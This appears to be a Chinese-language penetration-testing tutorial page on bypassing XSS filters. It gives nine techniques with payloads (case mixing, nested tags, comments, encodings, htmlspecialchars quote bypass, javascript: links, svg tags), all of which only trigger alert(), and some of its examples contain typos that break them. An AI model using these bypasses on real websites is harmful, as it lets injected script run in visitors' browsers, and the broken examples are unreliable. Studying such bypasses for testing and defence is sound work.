## XSS之繞過技巧:
大多數網站為了避免xss的攻擊,對于攻擊者的輸入都采取了過濾的措施,導致攻擊者通常不能正常插入惡意代碼來達到攻擊目的。但是仍存在一些漏洞可以利用,來繞過過濾措施。
xss繞過的方法有許多,主要取決于攻擊者的思路和對前端技術的掌握,以下介紹幾個簡單的繞過方法。
### 1)對前端的輸入字符數量限制
可以嘗試進行抓包重發或者修改前端的HTML中的長度限制。
### 2)后臺對輸入的內容進行正則匹配來過濾輸入
對于這樣的過濾可以考慮大小寫混合輸入的方法。
~~~
payload:<sCRipT>alert('你打籃球像boy')</sCrIPt>
~~~
### 3)后臺對輸入的內容進行替換
采用拼拼湊的輸入方法。
~~~
payload:<sc<script>ript>alert('你打籃球像boy')</scr<script>ipt>
~~~
### 4)使用注釋來干擾后臺對輸入內容的識別。
~~~
payload:<sc<!--test-->ript>alert('你打籃球像boy')</scr<!--tshauie-->ipt>
~~~
### 5)編碼
思路:后臺有可能會對代碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼后在插入。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的)
例1:一次編碼案例
~~~
#使用事件屬性onerror()的原始payload:
<img src=# onerror=alert('yangshuang')"/>
#使用HTML_ENTITY編碼后的payload:
<a src=x onerror="alert('yangshuang')"/>
~~~
例2:多次編碼案例解析如下編碼
~~~
#原始payload
<a herf="javascrips:alert(XSS)"> </a>
#使用unicode的UTF-16編碼alert這個字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a>
#再用url編碼alert的中間結果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a>
#最后用html實體編碼,再編碼整個payload
太長了,略
~~~
### 6)htmlspecialchars()函數繞過:
~~~sh
#該函數的語法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle類型:
ENT_COMPAT - 默認。僅編碼雙引號
ENT_QUOTES - 編碼雙引號和單引號
ENT_NOQUOTES - 不編碼任何引號
#預定義的字符是:
& (和號) 成為 &
" (雙引號) 成為 "
’ (單引號) 成為 '
< (小于) 成為 <
> (大于) 成為 >
~~~
過濾原理:htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函數默認配置不會將單引號和雙引號過濾,只有設置了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號
~~~
# 默認配置下,可使用以下語句繞過:
q' onclick='alert(111)'
~~~
### 7) href 繞過:
當輸入的值在 a 標簽 herf 里
~~~
payload: javascript:alert(1111)
~~~
直接代入 a 標簽 herf 里面,一樣可以繞過 htmlspecialchars()函數
### 8)xss之js輸出繞過:
當目標是用JavaScript腳本輸出的,只需閉合原有的表情即可插入代碼
~~~
payload:<script> $ms=' 11111111'</script><script>alert(1111)</script> ;
~~~
### 9)標簽繞過
當輸入`< script >alert(XSS);</ script >`沒有反應的時候
可以再前邊加上`<svg>`,
~~~
<svg><script>alert(XSS);</script>
~~~
當瀏覽器解析到`<svg>`標簽時,瀏覽器就開始使用一套新的標準開始解析后面的內容,直到碰到閉合標簽。而在這一套新的標準遵循XML解析規則,在XML中實體編碼會自動轉義,重新來一遍標簽開啟狀態,此時就會執行xss了。
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具